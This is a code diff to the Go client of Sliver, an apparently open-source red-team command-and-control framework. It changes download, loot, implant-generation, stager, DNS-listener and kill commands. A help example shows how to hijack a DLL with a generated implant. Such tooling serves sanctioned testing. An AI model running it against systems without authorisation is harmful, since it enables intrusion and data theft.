-	lootName := ctx.Flags.String("name")
-
+// PrintSpawnDll - Print the SpawnDll command response
+func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if spawndll.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
 		return
 	}
 
-	PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
-
-	if saveLoot {
-		LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
+	var outFilePath *os.File
+	var err error
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	con.PrintInfof("Output:\n%s", spawndll.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(spawndll.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }

client/command/extensions/load.go

@@ -31,7 +31,6 @@ import (
 	"strings"
 
 	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/client/core"
@@ -59,7 +58,6 @@ type ExtensionManifest struct {
 	OriginalAuthor  string               `json:"original_author"`
 	RepoURL         string               `json:"repo_url"`
 	Help            string               `json:"help"`
-	LongHelp        string               `json:"long_help"`
 	Files           []*extensionFile     `json:"files"`
 	Arguments       []*extensionArgument `json:"arguments"`
 	Entrypoint      string               `json:"entrypoint"`
@@ -173,9 +171,8 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 	loadedExtensions[extCmd.CommandName] = extCmd
 	helpMsg := extCmd.Help
 	extensionCmd := &grumble.Command{
-		Name:     extCmd.CommandName,
-		Help:     helpMsg,
-		LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
+		Name: extCmd.CommandName,
+		Help: helpMsg,
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
 			runExtensionCmd(extCtx, con)
@@ -195,15 +192,12 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 						defaultValue grumble.ArgOption
 					)
 					switch arg.Type {
-					case "int", "integer", "short":
+					case "int", "short":
 						argFunc = a.Int
 						defaultValue = grumble.Default(0)
 					case "string", "wstring", "file":
 						argFunc = a.String
 						defaultValue = grumble.Default("")
-					default:
-						con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
-						return
 					}
 					if arg.Optional {
 						argFunc(arg.Name, arg.Desc, defaultValue)
@@ -426,8 +420,6 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
 	// Parse BOF arguments from grumble
 	for _, arg := range ext.Arguments {
 		switch arg.Type {
-		case "integer":
-			fallthrough
 		case "int":
 			val := ctx.Args.Int(arg.Name)
 			err = argsBuffer.AddInt(uint32(val))

client/command/filesystem/cat.go

@@ -27,7 +27,6 @@ import (
 	"github.com/alecthomas/chroma/formatters"
 	"github.com/alecthomas/chroma/lexers"
 	"github.com/alecthomas/chroma/styles"
-	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -50,14 +49,10 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
 		Request: con.ActiveTarget.Request(ctx),
 		Path:    filePath,
 	})
-	ctrl <- true
-	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -79,39 +74,16 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 // PrintCat - Print the download to stdout
 func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	var (
-		lootDownload bool = true
-		err          error
-	)
-	saveLoot := ctx.Flags.Bool("loot")
-	lootName := ctx.Flags.String("name")
-	userLootType := ctx.Flags.String("type")
-	userLootFileType := ctx.Flags.String("file-type")
+	var err error
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
 		return
 	}
-
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
-		if err != nil {
-			con.PrintErrorf("Decoding failed %s", err)
-		}
-	}
-
-	if saveLoot {
-		lootType, err := loot.ValidateLootType(userLootType)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
-			// Even if the loot type is bad, we can still print the result to the screen
-			// We will not loot it though
-			lootDownload = false
-		}
-		fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
-
-		if lootDownload {
-			loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
-			con.Printf("\n")
+			return
 		}
 	}
 	if ctx.Flags.Bool("colorize-output") {

client/command/filesystem/download.go

@@ -24,28 +24,41 @@ import (
 	"os"
 	"path"
 	"path/filepath"
-	"strings"
 
-	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
 	"google.golang.org/protobuf/proto"
-	"gopkg.in/AlecAivazis/survey.v1"
 
 	"github.com/desertbit/grumble"
 )
 
+// DownloadCmd - Download a file from the remote system
 func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
+
 	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+
+	src := remotePath
+	fileName := filepath.Base(src)
+	dst, _ := filepath.Abs(localPath)
+	fi, err := os.Stat(dst)
+	if err != nil && !os.IsNotExist(err) {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if err == nil && fi.IsDir() {
+		dst = path.Join(dst, fileName)
+	}
 
 	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
+	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
 		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
@@ -63,85 +76,60 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			HandleDownloadResponse(download, ctx, con)
+			PrintDownload(download, ctx, con)
 		})
 		con.PrintAsyncResponse(download.Response)
 	} else {
-		HandleDownloadResponse(download, ctx, con)
+		PrintDownload(download, ctx, con)
 	}
-
 }
 
-func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	var err error
+// PrintDownload - Print the download response, and save file to disk
+func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
 		return
 	}
 
+	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+
+	src := remotePath
+	fileName := filepath.Base(src)
+	dst, _ := filepath.Abs(localPath)
+	fi, err := os.Stat(dst)
+	if err != nil && !os.IsNotExist(err) {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if err == nil && fi.IsDir() {
+		dst = path.Join(dst, fileName)
+	}
+	if _, err := os.Stat(dst); err == nil {
+		overwrite := false
+		prompt := &survey.Confirm{Message: "Overwrite local file?"}
+		survey.AskOne(prompt, &overwrite, nil)
+		if !overwrite {
+			return
+		}
+	}
 	if download.Encoder == "gzip" {
 		download.Data, err = new(encoders.Gzip).Decode(download.Data)
 		if err != nil {
 			con.PrintErrorf("Decoding failed %s", err)
+			return
 		}
 	}
-
-	remotePath := ctx.Args.String("remote-path")
-	localPath := ctx.Args.String("local-path")
-	saveLoot := ctx.Flags.Bool("loot")
-
-	if saveLoot {
-		lootName := ctx.Flags.String("name")
-		lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		// Hand off to the loot package to take care of looting
-		fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
-		loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
+	dstFile, err := os.Create(dst)
+	if err != nil {
+		con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
+		return
+	}
+	defer dstFile.Close()
+	n, err := dstFile.Write(download.Data)
+	if err != nil {
+		con.PrintErrorf("Failed to write data %v\n", err)
 	} else {
-		fileName := filepath.Base(remotePath)
-		dst, err := filepath.Abs(localPath)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		fi, err := os.Stat(dst)
-		if err != nil && !os.IsNotExist(err) {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		if err == nil && fi.IsDir() {
-			dst = path.Join(dst, fileName)
-		}
-
-		// Add an extension to a directory download if one is not provided.
-		if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
-			dst += ".tar.gz"
-		}
-
-		if _, err := os.Stat(dst); err == nil {
-			overwrite := false
-			prompt := &survey.Confirm{Message: "Overwrite local file?"}
-			survey.AskOne(prompt, &overwrite, nil)
-			if !overwrite {
-				return
-			}
-		}
-
-		dstFile, err := os.Create(dst)
-		if err != nil {
-			con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
-			return
-		}
-		defer dstFile.Close()
-		n, err := dstFile.Write(download.Data)
-		if err != nil {
-			con.PrintErrorf("Failed to write data %v\n", err)
-		} else {
-			con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
-		}
+		con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
 	}
 }

client/command/filesystem/mv.go

@@ -1,84 +0,0 @@
-package filesystem
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
-)
-
-func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
-	}
-
-	src := ctx.Args.String("src")
-	if src == "" {
-		con.PrintErrorf("Missing parameter: src\n")
-		return
-	}
-
-	dst := ctx.Args.String("dst")
-	if dst == "" {
-		con.PrintErrorf("Missing parameter: dst\n")
-		return
-	}
-
-	mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Src:     src,
-		Dst:     dst,
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	mv.Src, mv.Dst = src, dst
-
-	if mv.Response != nil && mv.Response.Async {
-		con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, mv)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-		})
-		con.PrintAsyncResponse(mv.Response)
-	} else {
-		PrintMv(mv, con)
-	}
-	return
-}
-
-// PrintMv - Print the renamed file
-func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
-	if mv.Response != nil && mv.Response.Err != "" {
-		con.PrintErrorf("%s\n", mv.Response.Err)
-		return
-	}
-	con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
-}

client/command/generate/generate-beacon.go

@@ -38,17 +38,7 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
 	interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
 	interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
 	interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
-
-	/*
-		If seconds has not been specified but any of the other time units have, then do not add
-		the default 60 seconds to the interval.
-
-		If seconds have been specified, then add them regardless.
-	*/
-	if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
-		interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
-	}
-
+	interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
 	if interval < minBeaconInterval {
 		return ErrBeaconIntervalTooShort
 	}

client/command/generate/generate-stager.go

@@ -5,6 +5,8 @@ import (
 	"fmt"
 	"io/ioutil"
 	"net"
+	"os"
+	"path/filepath"
 	"regexp"
 	"strings"
 
@@ -93,11 +95,15 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	if save != "" || format == "raw" {
-		saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
+		saveTo, _ := filepath.Abs(save)
+		fi, err := os.Stat(saveTo)
 		if err != nil {
+			con.PrintErrorf("Failed to generate sliver stager %v\n", err)
 			return
 		}
-
+		if fi.IsDir() {
+			saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
+		}
 		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)

client/command/generate/generate.go

@@ -258,7 +258,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	isShellcode := false
 
 	format := ctx.Flags.String("format")
-	runAtLoad := false
 	var configFormat clientpb.OutputFormat
 	switch format {
 	case "exe":
@@ -266,7 +265,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	case "shared":
 		configFormat = clientpb.OutputFormat_SHARED_LIB
 		isSharedLib = true
-		runAtLoad = ctx.Flags.Bool("run-at-load")
 	case "shellcode":
 		configFormat = clientpb.OutputFormat_SHELLCODE
 		isShellcode = true
@@ -305,13 +303,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
 	}
 
-	// TODO: Use generics or something to check in a slice
-	connectionStrategy := ctx.Flags.String("strategy")
-	if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
-		con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
-		return nil
-	}
-
 	config := &clientpb.ImplantConfig{
 		GOOS:             targetOS,
 		GOARCH:           targetArch,
@@ -326,7 +317,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
 		WGTcpCommsPort:    uint32(ctx.Flags.Int("tcp-comms")),
 
-		ConnectionStrategy:  connectionStrategy,
 		ReconnectInterval:   int64(reconnectInterval) * int64(time.Second),
 		PollTimeout:         int64(pollTimeout) * int64(time.Second),
 		MaxConnectionErrors: uint32(maxConnectionErrors),
@@ -341,8 +331,6 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		IsSharedLib: isSharedLib,
 		IsService:   isService,
 		IsShellcode: isShellcode,
-
-		RunAtLoad: runAtLoad,
 	}
 
 	return config
@@ -527,9 +515,6 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
 	}
 	for index, arg := range strings.Split(args, ",") {
 		arg = strings.ToLower(arg)
-		arg = strings.ReplaceAll(arg, "\\", "/")
-		arg = strings.TrimPrefix(arg, "/")
-		arg = strings.TrimPrefix(arg, "/")
 		var uri *url.URL
 		var err error
 		if strings.HasPrefix(arg, "namedpipe://") {
@@ -546,18 +531,6 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
 		if uri.Scheme != "namedpipe" {
 			return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
 		}
-
-		if !strings.HasPrefix(uri.Path, "/pipe/") {
-			prompt := &survey.Confirm{
-				Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
-			}
-			var confirm bool
-			survey.AskOne(prompt, &confirm)
-			if !confirm {
-				return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
-			}
-		}
-
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),

client/command/help/help.go

@@ -100,10 +100,6 @@ func printHelp(con *console.SliverConsoleClient) {
 			con.Println()
 		}
 	}
-
-	con.Println()
-	con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
-	con.Println()
 }
 
 func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {

client/command/help/long-help.go

@@ -657,8 +657,8 @@ supplied with the --profile flag.
 # Use a local DLL for a hijack
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
 
-# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
-profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
+# Use a Sliver generated DLL for the hijack
+profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
 
 # Use a local DLL as the reference DLL

client/command/info/info.go

@@ -19,14 +19,10 @@ package info
 */
 
 import (
-	"context"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
@@ -124,50 +120,9 @@ func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if session == nil && beacon == nil {
 		return
 	}
-
-	var isWin bool
-	con.Printf("Logon ID: ")
 	if session != nil {
 		con.Printf("%s\n", session.Username)
-		if session.GetOS() == "windows" {
-			isWin = true
-		}
 	} else if beacon != nil {
 		con.Printf("%s\n", beacon.Username)
-		if beacon.GetOS() == "windows" {
-			isWin = true
-		}
-	}
-
-	if isWin {
-		cto, err := con.Rpc.CurrentTokenOwner(context.Background(), &sliverpb.CurrentTokenOwnerReq{
-			Request: con.ActiveTarget.Request(ctx),
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		if cto.Response != nil && cto.Response.Async {
-			con.AddBeaconCallback(cto.Response.TaskID, func(task *clientpb.BeaconTask) {
-				err = proto.Unmarshal(task.Response, cto)
-				if err != nil {
-					con.PrintErrorf("Failed to decode response %s\n", err)
-					return
-				}
-				PrintTokenOwner(cto, con)
-			})
-			con.PrintAsyncResponse(cto.Response)
-		} else {
-			PrintTokenOwner(cto, con)
-		}
 	}
 }
-
-func PrintTokenOwner(cto *sliverpb.CurrentTokenOwner, con *console.SliverConsoleClient) {
-	if cto.Response != nil && cto.Response.Err != "" {
-		con.PrintErrorf("%s\n", cto.Response.Err)
-		return
-	}
-	con.PrintInfof("Current Token ID: %s", cto.Output)
-}

client/command/jobs/dns.go

@@ -31,9 +31,9 @@ import (
 func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	domains := strings.Split(ctx.Flags.String("domains"), ",")
-	for index, domain := range domains {
+	for _, domain := range domains {
 		if !strings.HasSuffix(domain, ".") {
-			domains[index] += "."
+			domain += "."
 		}
 	}
 
@@ -47,7 +47,6 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Port:       uint32(lport),
 		Canaries:   !ctx.Flags.Bool("no-canaries"),
 		Persistent: ctx.Flags.Bool("persistent"),
-		EnforceOTP: !ctx.Flags.Bool("disable-otp"),
 	})
 	con.Println()
 	if err != nil {

client/command/jobs/stage.go

@@ -26,7 +26,6 @@ import (
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
 )
 
@@ -34,8 +33,6 @@ import (
 func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	profileName := ctx.Flags.String("profile")
 	listenerURL := ctx.Flags.String("url")
-	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
-	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
 
 	if profileName == "" || listenerURL == "" {
 		con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -59,39 +56,12 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Profile not found\n")
 		return
 	}
-
-	aesEncrypt := false
-	if aesEncryptKey != "" {
-		// check if aes encryption key is correct length
-		if len(aesEncryptKey)%16 != 0 {
-			con.PrintErrorf("Incorect length of AES Key\n")
-			return
-		}
-
-		// set default aes iv
-		if aesEncryptIv == "" {
-			aesEncryptIv = "0000000000000000"
-		}
-
-		// check if aes iv is correct length
-		if len(aesEncryptIv)%16 != 0 {
-			con.PrintErrorf("Incorect length of AES IV\n")
-			return
-		}
-
-		aesEncrypt = true
-	}
-
 	stage2, err := generate.GetSliverBinary(profile, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
 
-	if aesEncrypt {
-		stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
-	}
-
 	switch stagingURL.Scheme {
 	case "http":
 		ctrl := make(chan bool)
@@ -155,9 +125,4 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
 		return
 	}
-
-	if aesEncrypt {
-		con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
-		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
-	}
 }

client/command/kill/kill.go

@@ -27,7 +27,6 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/server/core"
 	"github.com/desertbit/grumble"
 )
 
@@ -42,7 +41,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if !confirm {
 			return
 		}
-		err := KillSession(session, ctx, con)
+		err := KillSession(session, ctx.Flags.Bool("force"), con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -55,7 +54,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if !confirm {
 			return
 		}
-		err := KillBeacon(beacon, ctx, con)
+		err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -68,31 +67,28 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	return
 }
 
-func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
 	if session == nil {
 		return errors.New("session does not exist")
 	}
 	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
 		Request: &commonpb.Request{
 			SessionID: session.ID,
-			Timeout:   int64(ctx.Flags.Int("timeout")),
 		},
-		Force: ctx.Flags.Bool("force"),
+		Force: force,
 	})
-	core.Sessions.Remove(session.ID)
 	return err
 }
 
-func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
 	if beacon == nil {
 		return errors.New("session does not exist")
 	}
 	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
 		Request: &commonpb.Request{
 			BeaconID: beacon.ID,
-			Timeout:  int64(ctx.Flags.Int("timeout")),
 		},
-		Force: ctx.Flags.Bool("force"),
+		Force: force,
 	})
 	return err
 

client/command/loot/helpers.go

@@ -176,11 +176,7 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
 	buf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
 	for _, loot := range allLoot.Loot {
-		if loot.Name == loot.File.Name {
-			fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
-		} else {
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
-		}
+		fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
 	}
 	table.Flush()
 	options := strings.Split(buf.String(), "\n")

client/command/loot/loot.go

@@ -159,15 +159,14 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
 	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
 
 	// Column Headers
-	fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
+	fmt.Fprintln(table, "Type\tName\tUUID\t")
+	fmt.Fprintf(table, "%s\t%s\t%s\t\n",
 		strings.Repeat("=", len("Type")),
 		strings.Repeat("=", len("Name")),
-		strings.Repeat("=", len("File Name")),
 		strings.Repeat("=", len("UUID")),
 	)
 	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
+		fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
 	}
 
 	table.Flush()
@@ -402,7 +401,7 @@ func isText(sample []byte) bool {
 			// last char may be incomplete - ignore
 			break
 		}
-		if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
+		if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
 			// decoding error or control character - not a text file
 			return false
 		}

client/command/loot/remote.go

@@ -19,14 +19,9 @@ package loot
 */
 
 import (
-	"archive/tar"
-	"bytes"
-	"compress/gzip"
 	"context"
 	"fmt"
-	"io"
-	"path/filepath"
-	"strings"
+	"path"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,198 +29,8 @@ import (
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
 	"github.com/desertbit/grumble"
-	"google.golang.org/protobuf/proto"
 )
 
-func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
-	var lootType clientpb.LootType
-	var err error
-
-	if lootTypeInput != "" {
-		lootType, err = lootTypeFromHumanStr(lootTypeInput)
-		if err != nil {
-			/*
-				If we get an error, that means that this loot type was invalid.
-				We will leave it up to the caller to handle the error (output it
-				to the console for example)
-			*/
-			return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
-		}
-	} else {
-		lootType = clientpb.LootType_LOOT_FILE
-	}
-
-	return lootType, err
-}
-
-func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
-	lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
-	if lootFileType == -1 || err != nil {
-		if isText(data) {
-			lootFileType = clientpb.FileType_TEXT
-		} else {
-			lootFileType = clientpb.FileType_BINARY
-		}
-	}
-
-	return lootFileType
-}
-
-/*
-	Eventually this function needs to be refactored out, but we made the decision to
-	duplicate it for now
-*/
-func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
-	ctrl := make(chan bool)
-	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
-	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Path:    remotePath,
-	})
-	ctrl <- true
-	<-ctrl
-	if err != nil {
-		return nil, err
-	}
-	if download.Response != nil && download.Response.Async {
-		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, download)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-			}
-		})
-		con.PrintAsyncResponse(download.Response)
-	}
-
-	if download.Response != nil && download.Response.Err != "" {
-		return nil, fmt.Errorf("%s\n", download.Response.Err)
-	}
-
-	// Decode the downloaded data if required
-	if download.Encoder == "gzip" {
-		download.Data, err = new(encoders.Gzip).Decode(download.Data)
-		if err != nil {
-			return nil, fmt.Errorf("Decoding failed %s", err)
-		}
